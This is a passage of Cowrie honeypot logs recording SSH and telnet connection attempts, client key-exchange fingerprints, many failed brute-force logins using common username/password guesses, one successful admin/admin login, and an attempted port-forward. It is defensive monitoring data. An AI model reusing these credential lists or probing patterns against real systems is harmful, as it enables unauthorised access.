-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:04.070799Z","src_ip":"96.70.252.227","session":"f1473e835814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureadmin","password":"azureadmin","message":"login attempt [azureadmin/azureadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:04.250642Z","src_ip":"96.70.252.227","session":"f1473e835814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:05.284905Z","src_ip":"96.70.252.227","session":"f1473e835814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":56019,"dst_ip":"159.203.135.109","dst_port":22,"session":"b82f8337fc92","protocol":"ssh","message":"New connection: 213.209.159.159:56019 (159.203.135.109:22) [session: b82f8337fc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:07.891583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:07.896387Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:07.978487Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq","message":"login attempt [tyriq/tyriq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:08.379453Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq1","message":"login attempt [tyriq/tyriq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:09.464510Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq123","message":"login attempt [tyriq/tyriq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:10.549211Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq1234","message":"login attempt [tyriq/tyriq1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:11.635315Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq12345","message":"login attempt [tyriq/tyriq12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:12.720536Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:13.807376Z","src_ip":"213.209.159.159","session":"b82f8337fc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":28784,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f3b8f53f78","protocol":"ssh","message":"New connection: 222.167.161.198:28784 (159.203.135.109:22) [session: 89f3b8f53f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:36.100221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:36.104686Z","src_ip":"222.167.161.198","session":"89f3b8f53f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:36.378201Z","src_ip":"222.167.161.198","session":"89f3b8f53f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321cxz","message":"login attempt [ubuntu/321cxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:37.503051Z","src_ip":"222.167.161.198","session":"89f3b8f53f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:38.779382Z","src_ip":"222.167.161.198","session":"89f3b8f53f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.178","src_port":35086,"dst_ip":"159.203.135.109","dst_port":23,"session":"865cde00f775","protocol":"telnet","message":"New connection: 66.132.186.178:35086 (159.203.135.109:23) [session: 865cde00f775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:40.387401Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.62","src_port":35176,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a2258d4cda1","protocol":"ssh","message":"New connection: 85.217.149.62:35176 (159.203.135.109:22) [session: 5a2258d4cda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:44.213027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:44.217070Z","src_ip":"85.217.149.62","session":"5a2258d4cda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:44.234679Z","src_ip":"85.217.149.62","session":"5a2258d4cda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:44.255633Z","src_ip":"85.217.149.62","session":"5a2258d4cda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":48458,"dst_ip":"159.203.135.109","dst_port":22,"session":"1535ab669c66","protocol":"ssh","message":"New connection: 40.81.244.142:48458 (159.203.135.109:22) [session: 1535ab669c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:46.654092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:46.658678Z","src_ip":"40.81.244.142","session":"1535ab669c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:46.846395Z","src_ip":"40.81.244.142","session":"1535ab669c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami1234","message":"login attempt [bitnami/bitnami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:47.628105Z","src_ip":"40.81.244.142","session":"1535ab669c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:48.818167Z","src_ip":"40.81.244.142","session":"1535ab669c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":36108,"dst_ip":"159.203.135.109","dst_port":22,"session":"607fab230368","protocol":"ssh","message":"New connection: 58.69.56.44:36108 (159.203.135.109:22) [session: 607fab230368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:52.355862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:52.360129Z","src_ip":"58.69.56.44","session":"607fab230368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:52.593602Z","src_ip":"58.69.56.44","session":"607fab230368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5tgb6yhn","message":"login attempt [ubuntu/5tgb6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:53.562778Z","src_ip":"58.69.56.44","session":"607fab230368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:54.802641Z","src_ip":"58.69.56.44","session":"607fab230368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.205752611160278,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:55.593055Z","src_ip":"66.132.186.178","session":"865cde00f775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.178","src_port":21810,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb3414c32d6","protocol":"telnet","message":"New connection: 66.132.186.178:21810 (159.203.135.109:23) [session: 7fb3414c32d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:33:59.239088Z"}
{"eventid":"cowrie.session.closed","duration":3.33141827583313,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:02.570287Z","src_ip":"66.132.186.178","session":"7fb3414c32d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.178","src_port":58048,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc108ae1a598","protocol":"telnet","message":"New connection: 66.132.186.178:58048 (159.203.135.109:23) [session: dc108ae1a598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:05.981961Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.48","src_port":55220,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c7cf3f9903","protocol":"telnet","message":"New connection: 85.217.149.48:55220 (159.203.135.109:23) [session: c9c7cf3f9903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:13.266238Z"}
{"eventid":"cowrie.login.failed","username":"'GET / HTTP/1.1","password":"Host: bbb.ccc","message":"login attempt ['GET / HTTP/1.1/Host: bbb.ccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:13.271806Z","src_ip":"85.217.149.48","session":"c9c7cf3f9903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0327603816986084,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:13.298858Z","src_ip":"85.217.149.48","session":"c9c7cf3f9903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.35346531867981,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:16.335304Z","src_ip":"66.132.186.178","session":"dc108ae1a598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22966,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a02039cdc8d","protocol":"ssh","message":"New connection: 87.251.64.176:22966 (10.17.0.5:22) [session: 5a02039cdc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:32.463464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:32.466714Z","src_ip":"87.251.64.176","session":"5a02039cdc8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:32.562507Z","src_ip":"87.251.64.176","session":"5a02039cdc8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:32.853094Z","src_ip":"87.251.64.176","session":"5a02039cdc8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:32.952515Z","session":"5a02039cdc8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:33.050105Z","src_ip":"87.251.64.176","session":"5a02039cdc8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:34:33.148777Z","src_ip":"87.251.64.176","session":"5a02039cdc8d","protocol":"ssh"}
